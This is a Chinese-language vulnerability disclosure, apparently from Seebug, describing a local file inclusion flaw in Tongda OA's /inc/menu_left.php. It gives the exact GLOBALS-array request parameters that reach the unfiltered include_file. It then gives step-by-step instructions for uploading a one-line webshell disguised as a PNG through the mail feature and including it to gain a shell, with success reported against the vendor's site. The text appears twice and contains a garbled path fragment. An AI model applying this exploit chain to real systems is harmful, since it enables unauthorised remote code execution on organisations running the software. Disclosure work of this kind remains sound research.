### 简要描述: 通达OA本地文件包含漏洞 ### 详细说明: foeeach($MENU_LEFT as $MENU) if(is_array($MENU['module'])){ include_once($include_file); } 通达OA的/inc/menu_left.php文件include_file参数没有过滤,导致可以包含任意文件。 要执行到 include_once($include_file),需要两个条件,MENU_LEFT参数是数组,他的子成员MENU也要是数组,MENU['module']还要是数组才行。 通达OA默认register_globals是开启的,所以可以用GLOBALS传递参数。 所以提交GLOBALS[MENU_LEFT][A][module][1]=a&include_file=../robots.txt就可以包含文件了。 ### 漏洞证明: 要想拿shell,就要传一个一句话上去,然后包含。 打开发邮件的功能,选择批量插入图片,然后传一个图片后缀的一句话木马1.png 抓包,可以看到/modulehttps://images.seebug.org/upload/upload.php返回了 {"id":"170818@1405_183125983,","name":"1.png*", 那么图片的地址就是../../attach/upload_temp/1405/183125983.1.png shell地址就是 /inc/menu_left.php?GLOBALS[MENU_LEFT][A][module][1]=a&include_file=../../attach/upload_temp/1405/183125983.1.png 官网测试成功。 [<img src="https://images.seebug.org/upload/201405/18103240145f6542b2b0777207570ad022d9bf84.png" alt="oa.png" width="600"...
### 简要描述: 通达OA本地文件包含漏洞 ### 详细说明: foeeach($MENU_LEFT as $MENU) if(is_array($MENU['module'])){ include_once($include_file); } 通达OA的/inc/menu_left.php文件include_file参数没有过滤,导致可以包含任意文件。 要执行到 include_once($include_file),需要两个条件,MENU_LEFT参数是数组,他的子成员MENU也要是数组,MENU['module']还要是数组才行。 通达OA默认register_globals是开启的,所以可以用GLOBALS传递参数。 所以提交GLOBALS[MENU_LEFT][A][module][1]=a&include_file=../robots.txt就可以包含文件了。 ### 漏洞证明: 要想拿shell,就要传一个一句话上去,然后包含。 打开发邮件的功能,选择批量插入图片,然后传一个图片后缀的一句话木马1.png 抓包,可以看到/modulehttps://images.seebug.org/upload/upload.php返回了 {"id":"170818@1405_183125983,","name":"1.png*", 那么图片的地址就是../../attach/upload_temp/1405/183125983.1.png shell地址就是 /inc/menu_left.php?GLOBALS[MENU_LEFT][A][module][1]=a&include_file=../../attach/upload_temp/1405/183125983.1.png 官网测试成功。 [<img src="https://images.seebug.org/upload/201405/18103240145f6542b2b0777207570ad022d9bf84.png" alt="oa.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/18103240145f6542b2b0777207570ad022d9bf84.png)